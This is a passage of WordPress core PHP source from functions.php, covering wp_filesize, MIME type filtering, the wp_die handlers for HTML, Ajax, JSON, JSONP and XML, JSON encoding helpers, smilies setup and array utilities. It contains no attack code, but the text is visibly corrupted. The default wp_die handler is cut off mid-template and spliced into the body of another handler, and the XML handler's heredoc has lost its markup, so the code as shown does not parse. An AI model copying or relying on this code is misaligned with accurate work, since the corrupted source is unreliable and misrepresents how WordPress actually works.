for PHP filesize with filters and casting the result as an integer. * * @since 6.0.0 * * @link https://www.php.net/manual/en/function.filesize.php * * @param string $path Path to the file. * @return int The size of the file in bytes, or 0 in the event of an error. */ function wp_filesize( $path ) { /** * Filters the result of wp_filesize before the PHP function is run. * * @since 6.0.0 * * @param null|int $size The unfiltered value. Returning an int from the callback bypasses the filesize call. * @param string $path Path to the file. */ $size = apply_filters( 'pre_wp_filesize', null, $path ); if ( is_int( $size ) ) { return $size; } $size = file_exists( $path ) ? (int) filesize( $path ) : 0; /** * Filters the size of the file. * * @since 6.0.0 * * @param int $size The result of PHP filesize on the file. * @param string $path Path to the file. */ return (int) apply_filters( 'wp_filesize', $size, $path ); } /** * Retrieve list of allowed mime types and file extensions. * * @since 2.8.6 * * @param int|WP_User $user Optional. User to check. Defaults to current user. * @return string[] Array of mime types keyed by the file extension regex corresponding * to those types. */ function get_allowed_mime_types( $user = null ) { $t = wp_get_mime_types(); unset( $t['swf'], $t['exe'] ); if ( function_exists( 'current_user_can' ) ) { $unfiltered = $user ? user_can( $user, 'unfiltered_html' ) : current_user_can( 'unfiltered_html' ); } if ( empty( $unfiltered ) ) { unset( $t['htm|html'], $t['js'] ); } /** * Filters list of allowed mime types and file extensions. * * @since 2.0.0 * * @param array $t Mime types keyed by the file extension regex corresponding to those types. * @param int|WP_User|null $user User ID, User object or null if not provided (indicates current user). */ return apply_filters( 'upload_mimes', $t, $user ); } /** * Display "Are You Sure" message to confirm the action being taken. * * If the action has the nonce explain message, then it will be displayed * along with the "Are you sure?" message. * * @since 2.0.4 * * @param string $action The nonce action. */ function wp_nonce_ays( $action ) { // Default title and response code. $title = __( 'Something went wrong.' ); $response_code = 403; if ( 'log-out' === $action ) { $title = sprintf( /* translators: %s: Site title. */ __( 'You are attempting to log out of %s' ), get_bloginfo( 'name' ) ); $html = $title; $html .= '</p><p>'; $redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; $html .= sprintf( /* translators: %s: Logout URL. */ __( 'Do you really want to <a href="%s">log out</a>?' ), wp_logout_url( $redirect_to ) ); } else { $html = __( 'The link you followed has expired.' ); if ( wp_get_referer() ) { $wp_http_referer = remove_query_arg( 'updated', wp_get_referer() ); $wp_http_referer = wp_validate_redirect( esc_url_raw( $wp_http_referer ) ); $html .= '</p><p>'; $html .= sprintf( '<a href="%s">%s</a>', esc_url( $wp_http_referer ), __( 'Please try again.' ) ); } } wp_die( $html, $title, $response_code ); } /** * Kills WordPress execution and displays HTML page with an error message. * * This function complements the `die()` PHP function. The difference is that * HTML will be displayed to the user. It is recommended to use this function * only when the execution should not continue any further. It is not recommended * to call this function very often, and try to handle as many errors as possible * silently or more gracefully. * * As a shorthand, the desired HTTP response code may be passed as an integer to * the `$title` parameter (the default title would apply) or the `$args` parameter. * * @since 2.0.4 * @since 4.1.0 The `$title` and `$args` parameters were changed to optionally accept * an integer to be used as the response code. * @since 5.1.0 The `$link_url`, `$link_text`, and `$exit` arguments were added. * @since 5.3.0 The `$charset` argument was added. * @since 5.5.0 The `$text_direction` argument has a priority over get_language_attributes() * in the default handler. * * @global WP_Query $wp_query WordPress Query object. * * @param string|WP_Error $message Optional. Error message. If this is a WP_Error object, * and not an Ajax or XML-RPC request, the error's messages are used. * Default empty. * @param string|int $title Optional. Error title. If `$message` is a `WP_Error` object, * error data with the key 'title' may be used to specify the title. * If `$title` is an integer, then it is treated as the response * code. Default empty. * @param string|array|int $args { * Optional. Arguments to control behavior. If `$args` is an integer, then it is treated * as the response code. Default empty array. * * @type int $response The HTTP response code. Default 200 for Ajax requests, 500 otherwise. * @type string $link_url A URL to include a link to. Only works in combination with $link_text. * Default empty string. * @type string $link_text A label for the link to include. Only works in combination with $link_url. * Default empty string. * @type bool $back_link Whether to include a link to go back. Default false. * @type string $text_direction The text direction. This is only useful internally, when WordPress is still * loading and the site's locale is not set up yet. Accepts 'rtl' and 'ltr'. * Default is the value of is_rtl(). * @type string $charset Character set of the HTML output. Default 'utf-8'. * @type string $code Error code to use. Default is 'wp_die', or the main error code if $message * is a WP_Error. * @type bool $exit Whether to exit the process after completion. Default true. * } */ function wp_die( $message = '', $title = '', $args = array() ) { global $wp_query; if ( is_int( $args ) ) { $args = array( 'response' => $args ); } elseif ( is_int( $title ) ) { $args = array( 'response' => $title ); $title = ''; } if ( wp_doing_ajax() ) { /** * Filters the callback for killing WordPress execution for Ajax requests. * * @since 3.4.0 * * @param callable $callback Callback function name. */ $callback = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' ); } elseif ( wp_is_json_request() ) { /** * Filters the callback for killing WordPress execution for JSON requests. * * @since 5.1.0 * * @param callable $callback Callback function name. */ $callback = apply_filters( 'wp_die_json_handler', '_json_wp_die_handler' ); } elseif ( defined( 'REST_REQUEST' ) && REST_REQUEST && wp_is_jsonp_request() ) { /** * Filters the callback for killing WordPress execution for JSONP REST requests. * * @since 5.2.0 * * @param callable $callback Callback function name. */ $callback = apply_filters( 'wp_die_jsonp_handler', '_jsonp_wp_die_handler' ); } elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) { /** * Filters the callback for killing WordPress execution for XML-RPC requests. * * @since 3.4.0 * * @param callable $callback Callback function name. */ $callback = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' ); } elseif ( wp_is_xml_request() || isset( $wp_query ) && ( function_exists( 'is_feed' ) && is_feed() || function_exists( 'is_comment_feed' ) && is_comment_feed() || function_exists( 'is_trackback' ) && is_trackback() ) ) { /** * Filters the callback for killing WordPress execution for XML requests. * * @since 5.2.0 * * @param callable $callback Callback function name. */ $callback = apply_filters( 'wp_die_xml_handler', '_xml_wp_die_handler' ); } else { /** * Filters the callback for killing WordPress execution for all non-Ajax, non-JSON, non-XML requests. * * @since 3.0.0 * * @param callable $callback Callback function name. */ $callback = apply_filters( 'wp_die_handler', '_default_wp_die_handler' ); } call_user_func( $callback, $message, $title, $args ); } /** * Kills WordPress execution and displays HTML page with an error message. * * This is the default handler for wp_die(). If you want a custom one, * you can override this using the {@see 'wp_die_handler'} filter in wp_die(). * * @since 3.0.0 * @access private * * @param string|WP_Error $message Error message or WP_Error object. * @param string $title Optional. Error title. Default empty. * @param string|array $args Optional. Arguments to control behavior. Default empty array. */ function _default_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( is_string( $message ) ) { if ( ! empty( $parsed_args['additional_errors'] ) ) { $message = array_merge( array( $message ), wp_list_pluck( $parsed_args['additional_errors'], 'message' ) ); $message = "<ul>\n\t\t<li>" . implode( "</li>\n\t\t<li>", $message ) . "</li>\n\t</ul>"; } $message = sprintf( '<div class="wp-die-message">%s</div>', $message ); } $have_gettext = function_exists( '__' ); if ( ! empty( $parsed_args['link_url'] ) && ! empty( $parsed_args['link_text'] ) ) { $link_url = $parsed_args['link_url']; if ( function_exists( 'esc_url' ) ) { $link_url = esc_url( $link_url ); } $link_text = $parsed_args['link_text']; $message .= "\n<p><a href='{$link_url}'>{$link_text}</a></p>"; } if ( isset( $parsed_args['back_link'] ) && $parsed_args['back_link'] ) { $back_text = $have_gettext ? __( '« Back' ) : '« Back'; $message .= "\n<p><a href='javascript:history.back()'>$back_text</a></p>"; } if ( ! did_action( 'admin_head' ) ) : if ( ! headers_sent() ) { header( "Content-Type: text/html; charset={$parsed_args['charset']}" ); status_header( $parsed_args['response'] ); nocache_headers(); } $text_direction = $parsed_args['text_direction']; $dir_attr = "dir='$text_direction'"; // If `text_direction` was not explicitly passed, // use get_language_attributes() if available. if ( empty( $args['text_direction'] ) && function_exists( 'language_attributes' ) && function_exists( 'is_rtl' ) ) { $dir_attr = get_language_attributes(); } ?> <!DOCTYPE html> <html <?php echo $dir_attr; ?>> <head> <meta http-equiv="Content-Type" content="text/html; charset=<?php echo $parsed_args['charset']; ?>" /> <meta name="viewport" content="width=device-width"> <?php if ( function_exists( 'wp_robots' ) && function_exists( 'wp_robots_no_robots' ) && function_exists( 'add_filter' ) ) { add_filter( 'wp_robots', 'wp_robots_no_robots' ); wp_robots(); } ?> <title><?php echo $title; ?> 200 ) ); list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( ! headers_sent() ) { // This is intentional. For backward-compatibility, support passing null here. if ( null !== $args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } if ( is_scalar( $message ) ) { $message = (string) $message; } else { $message = '0'; } if ( $parsed_args['exit'] ) { die( $message ); } echo $message; } /** * Kills WordPress execution and displays JSON response with an error message. * * This is the handler for wp_die() when processing JSON requests. * * @since 5.1.0 * @access private * * @param string $message Error message. * @param string $title Optional. Error title. Default empty. * @param string|array $args Optional. Arguments to control behavior. Default empty array. */ function _json_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); $data = array( 'code' => $parsed_args['code'], 'message' => $message, 'data' => array( 'status' => $parsed_args['response'], ), 'additional_errors' => $parsed_args['additional_errors'], ); if ( ! headers_sent() ) { header( "Content-Type: application/json; charset={$parsed_args['charset']}" ); if ( null !== $parsed_args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } echo wp_json_encode( $data ); if ( $parsed_args['exit'] ) { die(); } } /** * Kills WordPress execution and displays JSONP response with an error message. * * This is the handler for wp_die() when processing JSONP requests. * * @since 5.2.0 * @access private * * @param string $message Error message. * @param string $title Optional. Error title. Default empty. * @param string|array $args Optional. Arguments to control behavior. Default empty array. */ function _jsonp_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); $data = array( 'code' => $parsed_args['code'], 'message' => $message, 'data' => array( 'status' => $parsed_args['response'], ), 'additional_errors' => $parsed_args['additional_errors'], ); if ( ! headers_sent() ) { header( "Content-Type: application/javascript; charset={$parsed_args['charset']}" ); header( 'X-Content-Type-Options: nosniff' ); header( 'X-Robots-Tag: noindex' ); if ( null !== $parsed_args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } $result = wp_json_encode( $data ); $jsonp_callback = $_GET['_jsonp']; echo '/**/' . $jsonp_callback . '(' . $result . ')'; if ( $parsed_args['exit'] ) { die(); } } /** * Kills WordPress execution and displays XML response with an error message. * * This is the handler for wp_die() when processing XMLRPC requests. * * @since 3.2.0 * @access private * * @global wp_xmlrpc_server $wp_xmlrpc_server * * @param string $message Error message. * @param string $title Optional. Error title. Default empty. * @param string|array $args Optional. Arguments to control behavior. Default empty array. */ function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) { global $wp_xmlrpc_server; list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( ! headers_sent() ) { nocache_headers(); } if ( $wp_xmlrpc_server ) { $error = new IXR_Error( $parsed_args['response'], $message ); $wp_xmlrpc_server->output( $error->getXml() ); } if ( $parsed_args['exit'] ) { die(); } } /** * Kills WordPress execution and displays XML response with an error message. * * This is the handler for wp_die() when processing XML requests. * * @since 5.2.0 * @access private * * @param string $message Error message. * @param string $title Optional. Error title. Default empty. * @param string|array $args Optional. Arguments to control behavior. Default empty array. */ function _xml_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); $message = htmlspecialchars( $message ); $title = htmlspecialchars( $title ); $xml = << {$parsed_args['code']} <![CDATA[{$title}]]> {$parsed_args['response']} EOD; if ( ! headers_sent() ) { header( "Content-Type: text/xml; charset={$parsed_args['charset']}" ); if ( null !== $parsed_args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } echo $xml; if ( $parsed_args['exit'] ) { die(); } } /** * Kills WordPress execution and displays an error message. * * This is the handler for wp_die() when processing APP requests. * * @since 3.4.0 * @since 5.1.0 Added the $title and $args parameters. * @access private * * @param string $message Optional. Response to print. Default empty. * @param string $title Optional. Error title (unused). Default empty. * @param string|array $args Optional. Arguments to control behavior. Default empty array. */ function _scalar_wp_die_handler( $message = '', $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( $parsed_args['exit'] ) { if ( is_scalar( $message ) ) { die( (string) $message ); } die(); } if ( is_scalar( $message ) ) { echo (string) $message; } } /** * Processes arguments passed to wp_die() consistently for its handlers. * * @since 5.1.0 * @access private * * @param string|WP_Error $message Error message or WP_Error object. * @param string $title Optional. Error title. Default empty. * @param string|array $args Optional. Arguments to control behavior. Default empty array. * @return array { * Processed arguments. * * @type string $0 Error message. * @type string $1 Error title. * @type array $2 Arguments to control behavior. * } */ function _wp_die_process_input( $message, $title = '', $args = array() ) { $defaults = array( 'response' => 0, 'code' => '', 'exit' => true, 'back_link' => false, 'link_url' => '', 'link_text' => '', 'text_direction' => '', 'charset' => 'utf-8', 'additional_errors' => array(), ); $args = wp_parse_args( $args, $defaults ); if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) { if ( ! empty( $message->errors ) ) { $errors = array(); foreach ( (array) $message->errors as $error_code => $error_messages ) { foreach ( (array) $error_messages as $error_message ) { $errors[] = array( 'code' => $error_code, 'message' => $error_message, 'data' => $message->get_error_data( $error_code ), ); } } $message = $errors[0]['message']; if ( empty( $args['code'] ) ) { $args['code'] = $errors[0]['code']; } if ( empty( $args['response'] ) && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['status'] ) ) { $args['response'] = $errors[0]['data']['status']; } if ( empty( $title ) && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['title'] ) ) { $title = $errors[0]['data']['title']; } unset( $errors[0] ); $args['additional_errors'] = array_values( $errors ); } else { $message = ''; } } $have_gettext = function_exists( '__' ); // The $title and these specific $args must always have a non-empty value. if ( empty( $args['code'] ) ) { $args['code'] = 'wp_die'; } if ( empty( $args['response'] ) ) { $args['response'] = 500; } if ( empty( $title ) ) { $title = $have_gettext ? __( 'WordPress › Error' ) : 'WordPress › Error'; } if ( empty( $args['text_direction'] ) || ! in_array( $args['text_direction'], array( 'ltr', 'rtl' ), true ) ) { $args['text_direction'] = 'ltr'; if ( function_exists( 'is_rtl' ) && is_rtl() ) { $args['text_direction'] = 'rtl'; } } if ( ! empty( $args['charset'] ) ) { $args['charset'] = _canonical_charset( $args['charset'] ); } return array( $message, $title, $args ); } /** * Encode a variable into JSON, with some sanity checks. * * @since 4.1.0 * @since 5.3.0 No longer handles support for PHP < 5.6. * * @param mixed $data Variable (usually an array or object) to encode as JSON. * @param int $options Optional. Options to be passed to json_encode(). Default 0. * @param int $depth Optional. Maximum depth to walk through $data. Must be * greater than 0. Default 512. * @return string|false The JSON encoded string, or false if it cannot be encoded. */ function wp_json_encode( $data, $options = 0, $depth = 512 ) { $json = json_encode( $data, $options, $depth ); // If json_encode() was successful, no need to do more sanity checking. if ( false !== $json ) { return $json; } try { $data = _wp_json_sanity_check( $data, $depth ); } catch ( Exception $e ) { return false; } return json_encode( $data, $options, $depth ); } /** * Perform sanity checks on data that shall be encoded to JSON. * * @ignore * @since 4.1.0 * @access private * * @see wp_json_encode() * * @throws Exception If depth limit is reached. * * @param mixed $data Variable (usually an array or object) to encode as JSON. * @param int $depth Maximum depth to walk through $data. Must be greater than 0. * @return mixed The sanitized data that shall be encoded to JSON. */ function _wp_json_sanity_check( $data, $depth ) { if ( $depth < 0 ) { throw new Exception( 'Reached depth limit' ); } if ( is_array( $data ) ) { $output = array(); foreach ( $data as $id => $el ) { // Don't forget to sanitize the ID! if ( is_string( $id ) ) { $clean_id = _wp_json_convert_string( $id ); } else { $clean_id = $id; } // Check the element type, so that we're only recursing if we really have to. if ( is_array( $el ) || is_object( $el ) ) { $output[ $clean_id ] = _wp_json_sanity_check( $el, $depth - 1 ); } elseif ( is_string( $el ) ) { $output[ $clean_id ] = _wp_json_convert_string( $el ); } else { $output[ $clean_id ] = $el; } } } elseif ( is_object( $data ) ) { $output = new stdClass; foreach ( $data as $id => $el ) { if ( is_string( $id ) ) { $clean_id = _wp_json_convert_string( $id ); } else { $clean_id = $id; } if ( is_array( $el ) || is_object( $el ) ) { $output->$clean_id = _wp_json_sanity_check( $el, $depth - 1 ); } elseif ( is_string( $el ) ) { $output->$clean_id = _wp_json_convert_string( $el ); } else { $output->$clean_id = $el; } } } elseif ( is_string( $data ) ) { return _wp_json_convert_string( $data ); } else { return $data; } return $output; } /** * Convert a string to UTF-8, so that it can be safely encoded to JSON. * * @ignore * @since 4.1.0 * @access private * * @see _wp_json_sanity_check() * * @param string $string The string which is to be converted. * @return string The checked string. */ function _wp_json_convert_string( $string ) { static $use_mb = null; if ( is_null( $use_mb ) ) { $use_mb = function_exists( 'mb_convert_encoding' ); } if ( $use_mb ) { $encoding = mb_detect_encoding( $string, mb_detect_order(), true ); if ( $encoding ) { return mb_convert_encoding( $string, 'UTF-8', $encoding ); } else { return mb_convert_encoding( $string, 'UTF-8', 'UTF-8' ); } } else { return wp_check_invalid_utf8( $string, true ); } } /** * Prepares response data to be serialized to JSON. * * This supports the JsonSerializable interface for PHP 5.2-5.3 as well. * * @ignore * @since 4.4.0 * @deprecated 5.3.0 This function is no longer needed as support for PHP 5.2-5.3 * has been dropped. * @access private * * @param mixed $data Native representation. * @return bool|int|float|null|string|array Data ready for `json_encode()`. */ function _wp_json_prepare_data( $data ) { _deprecated_function( __FUNCTION__, '5.3.0' ); return $data; } /** * Send a JSON response back to an Ajax request. * * @since 3.5.0 * @since 4.7.0 The `$status_code` parameter was added. * @since 5.6.0 The `$options` parameter was added. * * @param mixed $response Variable (usually an array or object) to encode as JSON, * then print and die. * @param int $status_code Optional. The HTTP status code to output. Default null. * @param int $options Optional. Options to be passed to json_encode(). Default 0. */ function wp_send_json( $response, $status_code = null, $options = 0 ) { if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: 1: WP_REST_Response, 2: WP_Error */ __( 'Return a %1$s or %2$s object from your callback when using the REST API.' ), 'WP_REST_Response', 'WP_Error' ), '5.5.0' ); } if ( ! headers_sent() ) { header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) ); if ( null !== $status_code ) { status_header( $status_code ); } } echo wp_json_encode( $response, $options ); if ( wp_doing_ajax() ) { wp_die( '', '', array( 'response' => null, ) ); } else { die; } } /** * Send a JSON response back to an Ajax request, indicating success. * * @since 3.5.0 * @since 4.7.0 The `$status_code` parameter was added. * @since 5.6.0 The `$options` parameter was added. * * @param mixed $data Optional. Data to encode as JSON, then print and die. Default null. * @param int $status_code Optional. The HTTP status code to output. Default null. * @param int $options Optional. Options to be passed to json_encode(). Default 0. */ function wp_send_json_success( $data = null, $status_code = null, $options = 0 ) { $response = array( 'success' => true ); if ( isset( $data ) ) { $response['data'] = $data; } wp_send_json( $response, $status_code, $options ); } /** * Send a JSON response back to an Ajax request, indicating failure. * * If the `$data` parameter is a WP_Error object, the errors * within the object are processed and output as an array of error * codes and corresponding messages. All other types are output * without further processing. * * @since 3.5.0 * @since 4.1.0 The `$data` parameter is now processed if a WP_Error object is passed in. * @since 4.7.0 The `$status_code` parameter was added. * @since 5.6.0 The `$options` parameter was added. * * @param mixed $data Optional. Data to encode as JSON, then print and die. Default null. * @param int $status_code Optional. The HTTP status code to output. Default null. * @param int $options Optional. Options to be passed to json_encode(). Default 0. */ function wp_send_json_error( $data = null, $status_code = null, $options = 0 ) { $response = array( 'success' => false ); if ( isset( $data ) ) { if ( is_wp_error( $data ) ) { $result = array(); foreach ( $data->errors as $code => $messages ) { foreach ( $messages as $message ) { $result[] = array( 'code' => $code, 'message' => $message, ); } } $response['data'] = $result; } else { $response['data'] = $data; } } wp_send_json( $response, $status_code, $options ); } /** * Checks that a JSONP callback is a valid JavaScript callback name. * * Only allows alphanumeric characters and the dot character in callback * function names. This helps to mitigate XSS attacks caused by directly * outputting user input. * * @since 4.6.0 * * @param string $callback Supplied JSONP callback function name. * @return bool Whether the callback function name is valid. */ function wp_check_jsonp_callback( $callback ) { if ( ! is_string( $callback ) ) { return false; } preg_replace( '/[^\w\.]/', '', $callback, -1, $illegal_char_count ); return 0 === $illegal_char_count; } /** * Reads and decodes a JSON file. * * @since 5.9.0 * * @param string $filename Path to the JSON file. * @param array $options { * Optional. Options to be used with `json_decode()`. * * @type bool $associative Optional. When `true`, JSON objects will be returned as associative arrays. * When `false`, JSON objects will be returned as objects. * } * * @return mixed Returns the value encoded in JSON in appropriate PHP type. * `null` is returned if the file is not found, or its content can't be decoded. */ function wp_json_file_decode( $filename, $options = array() ) { $result = null; $filename = wp_normalize_path( realpath( $filename ) ); if ( ! file_exists( $filename ) ) { trigger_error( sprintf( /* translators: %s: Path to the JSON file. */ __( "File %s doesn't exist!" ), $filename ) ); return $result; } $options = wp_parse_args( $options, array( 'associative' => false ) ); $decoded_file = json_decode( file_get_contents( $filename ), $options['associative'] ); if ( JSON_ERROR_NONE !== json_last_error() ) { trigger_error( sprintf( /* translators: 1: Path to the JSON file, 2: Error message. */ __( 'Error when decoding a JSON file at path %1$s: %2$s' ), $filename, json_last_error_msg() ) ); return $result; } return $decoded_file; } /** * Retrieve the WordPress home page URL. * * If the constant named 'WP_HOME' exists, then it will be used and returned * by the function. This can be used to counter the redirection on your local * development environment. * * @since 2.2.0 * @access private * * @see WP_HOME * * @param string $url URL for the home location. * @return string Homepage location. */ function _config_wp_home( $url = '' ) { if ( defined( 'WP_HOME' ) ) { return untrailingslashit( WP_HOME ); } return $url; } /** * Retrieve the WordPress site URL. * * If the constant named 'WP_SITEURL' is defined, then the value in that * constant will always be returned. This can be used for debugging a site * on your localhost while not having to change the database to your URL. * * @since 2.2.0 * @access private * * @see WP_SITEURL * * @param string $url URL to set the WordPress site location. * @return string The WordPress site URL. */ function _config_wp_siteurl( $url = '' ) { if ( defined( 'WP_SITEURL' ) ) { return untrailingslashit( WP_SITEURL ); } return $url; } /** * Delete the fresh site option. * * @since 4.7.0 * @access private */ function _delete_option_fresh_site() { update_option( 'fresh_site', '0' ); } /** * Set the localized direction for MCE plugin. * * Will only set the direction to 'rtl', if the WordPress locale has * the text direction set to 'rtl'. * * Fills in the 'directionality' setting, enables the 'directionality' * plugin, and adds the 'ltr' button to 'toolbar1', formerly * 'theme_advanced_buttons1' array keys. These keys are then returned * in the $mce_init (TinyMCE settings) array. * * @since 2.1.0 * @access private * * @param array $mce_init MCE settings array. * @return array Direction set for 'rtl', if needed by locale. */ function _mce_set_direction( $mce_init ) { if ( is_rtl() ) { $mce_init['directionality'] = 'rtl'; $mce_init['rtl_ui'] = true; if ( ! empty( $mce_init['plugins'] ) && strpos( $mce_init['plugins'], 'directionality' ) === false ) { $mce_init['plugins'] .= ',directionality'; } if ( ! empty( $mce_init['toolbar1'] ) && ! preg_match( '/\bltr\b/', $mce_init['toolbar1'] ) ) { $mce_init['toolbar1'] .= ',ltr'; } } return $mce_init; } /** * Convert smiley code to the icon graphic file equivalent. * * You can turn off smilies, by going to the write setting screen and unchecking * the box, or by setting 'use_smilies' option to false or removing the option. * * Plugins may override the default smiley list by setting the $wpsmiliestrans * to an array, with the key the code the blogger types in and the value the * image file. * * The $wp_smiliessearch global is for the regular expression and is set each * time the function is called. * * The full list of smilies can be found in the function and won't be listed in * the description. Probably should create a Codex page for it, so that it is * available. * * @global array $wpsmiliestrans * @global array $wp_smiliessearch * * @since 2.2.0 */ function smilies_init() { global $wpsmiliestrans, $wp_smiliessearch; // Don't bother setting up smilies if they are disabled. if ( ! get_option( 'use_smilies' ) ) { return; } if ( ! isset( $wpsmiliestrans ) ) { $wpsmiliestrans = array( ':mrgreen:' => 'mrgreen.png', ':neutral:' => "\xf0\x9f\x98\x90", ':twisted:' => "\xf0\x9f\x98\x88", ':arrow:' => "\xe2\x9e\xa1", ':shock:' => "\xf0\x9f\x98\xaf", ':smile:' => "\xf0\x9f\x99\x82", ':???:' => "\xf0\x9f\x98\x95", ':cool:' => "\xf0\x9f\x98\x8e", ':evil:' => "\xf0\x9f\x91\xbf", ':grin:' => "\xf0\x9f\x98\x80", ':idea:' => "\xf0\x9f\x92\xa1", ':oops:' => "\xf0\x9f\x98\xb3", ':razz:' => "\xf0\x9f\x98\x9b", ':roll:' => "\xf0\x9f\x99\x84", ':wink:' => "\xf0\x9f\x98\x89", ':cry:' => "\xf0\x9f\x98\xa5", ':eek:' => "\xf0\x9f\x98\xae", ':lol:' => "\xf0\x9f\x98\x86", ':mad:' => "\xf0\x9f\x98\xa1", ':sad:' => "\xf0\x9f\x99\x81", '8-)' => "\xf0\x9f\x98\x8e", '8-O' => "\xf0\x9f\x98\xaf", ':-(' => "\xf0\x9f\x99\x81", ':-)' => "\xf0\x9f\x99\x82", ':-?' => "\xf0\x9f\x98\x95", ':-D' => "\xf0\x9f\x98\x80", ':-P' => "\xf0\x9f\x98\x9b", ':-o' => "\xf0\x9f\x98\xae", ':-x' => "\xf0\x9f\x98\xa1", ':-|' => "\xf0\x9f\x98\x90", ';-)' => "\xf0\x9f\x98\x89", // This one transformation breaks regular text with frequency. // '8)' => "\xf0\x9f\x98\x8e", '8O' => "\xf0\x9f\x98\xaf", ':(' => "\xf0\x9f\x99\x81", ':)' => "\xf0\x9f\x99\x82", ':?' => "\xf0\x9f\x98\x95", ':D' => "\xf0\x9f\x98\x80", ':P' => "\xf0\x9f\x98\x9b", ':o' => "\xf0\x9f\x98\xae", ':x' => "\xf0\x9f\x98\xa1", ':|' => "\xf0\x9f\x98\x90", ';)' => "\xf0\x9f\x98\x89", ':!:' => "\xe2\x9d\x97", ':?:' => "\xe2\x9d\x93", ); } /** * Filters all the smilies. * * This filter must be added before `smilies_init` is run, as * it is normally only run once to setup the smilies regex. * * @since 4.7.0 * * @param string[] $wpsmiliestrans List of the smilies' hexadecimal representations, keyed by their smily code. */ $wpsmiliestrans = apply_filters( 'smilies', $wpsmiliestrans ); if ( count( $wpsmiliestrans ) == 0 ) { return; } /* * NOTE: we sort the smilies in reverse key order. This is to make sure * we match the longest possible smilie (:???: vs :?) as the regular * expression used below is first-match */ krsort( $wpsmiliestrans ); $spaces = wp_spaces_regexp(); // Begin first "subpattern". $wp_smiliessearch = '/(?<=' . $spaces . '|^)'; $subchar = ''; foreach ( (array) $wpsmiliestrans as $smiley => $img ) { $firstchar = substr( $smiley, 0, 1 ); $rest = substr( $smiley, 1 ); // New subpattern? if ( $firstchar != $subchar ) { if ( '' !== $subchar ) { $wp_smiliessearch .= ')(?=' . $spaces . '|$)'; // End previous "subpattern". $wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; // Begin another "subpattern". } $subchar = $firstchar; $wp_smiliessearch .= preg_quote( $firstchar, '/' ) . '(?:'; } else { $wp_smiliessearch .= '|'; } $wp_smiliessearch .= preg_quote( $rest, '/' ); } $wp_smiliessearch .= ')(?=' . $spaces . '|$)/m'; } /** * Merges user defined arguments into defaults array. * * This function is used throughout WordPress to allow for both string or array * to be merged into another array. * * @since 2.2.0 * @since 2.3.0 `$args` can now also be an object. * * @param string|array|object $args Value to merge with $defaults. * @param array $defaults Optional. Array that serves as the defaults. * Default empty array. * @return array Merged user defined values with defaults. */ function wp_parse_args( $args, $defaults = array() ) { if ( is_object( $args ) ) { $parsed_args = get_object_vars( $args ); } elseif ( is_array( $args ) ) { $parsed_args =& $args; } else { wp_parse_str( $args, $parsed_args ); } if ( is_array( $defaults ) && $defaults ) { return array_merge( $defaults, $parsed_args ); } return $parsed_args; } /** * Converts a comma- or space-separated list of scalar values to an array. * * @since 5.1.0 * * @param array|string $list List of values. * @return array Array of values. */ function wp_parse_list( $list ) { if ( ! is_array( $list ) ) { return preg_split( '/[\s,]+/', $list, -1, PREG_SPLIT_NO_EMPTY ); } return $list; } /** * Cleans up an array, comma- or space-separated list of IDs. * * @since 3.0.0 * @since 5.1.0 Refactored to use wp_parse_list(). * * @param array|string $list List of IDs. * @return int[] Sanitized array of IDs. */ function wp_parse_id_list( $list ) { $list = wp_parse_list( $list ); return array_unique( array_map( 'absint', $list ) ); } /** * Cleans up an array, comma- or space-separated list of slugs. * * @since 4.7.0 * @since 5.1.0 Refactored to use wp_parse_list(). * * @param array|string $list List of slugs. * @return string[] Sanitized array of slugs. */ function wp_parse_slug_list( $list ) { $list = wp_parse_list( $list ); return array_unique( array_map( 'sanitize_title', $list ) ); } /** * Extract a slice of an array, given a list of keys. * * @since 3.1.0 * * @param array $array The original array. * @param array $keys The list of keys. * @return array The array slice. */ function wp_array_slice_assoc( $array, $keys ) { $slice = array(); foreach ( $keys as $key ) { if ( isset( $array[ $key ] ) ) { $slice[ $key ] = $array[ $key ]; } } return $slice; } /** * Accesses an array in depth based on a path of keys. * * It is the PHP equivalent of JavaScript's `lodash.get()` and mirroring it may help other components * retain some symmetry between client and server implementations. * * Example usage: * * $array = array( * 'a' => array( * 'b' => array( * 'c' => 1, * ), * ), * ); * _wp_array_get( $array, array( 'a', 'b', 'c' ) ); * * @internal * * @since 5.6.0 * @access private * * @param array $array An array from which we want to retrieve some information. * @param array $path An array of keys describing the path with which to retrieve information. * @param mixed $default The return value if the path does not exist within the array, * or if `$array` or `$path` are not arrays. * @return mixed The value from the path specified. */ function _wp_array_get( $array, $path, $default = null ) { // Confirm $path is valid. if ( ! is_array( $path ) || 0 === count( $path ) ) { return $default; } foreach ( $path as $path_element ) { if ( ! is_array( $array ) || ( ! is_string( $path_element ) && ! is_integer( $path_element ) && ! is_null( $path_element ) ) || ! array_key_exists( $path_element, $array ) ) { return $default; } $array = $array[ $path_element ]; } return $array; } /** * Sets an array in depth based on a path of keys. * * It is the PHP equivalent of JavaScript's `lodash.set()` and mirroring it may help other components * retain some symmetry between client and server implementations. * * Example usage: * * $array = array(); * 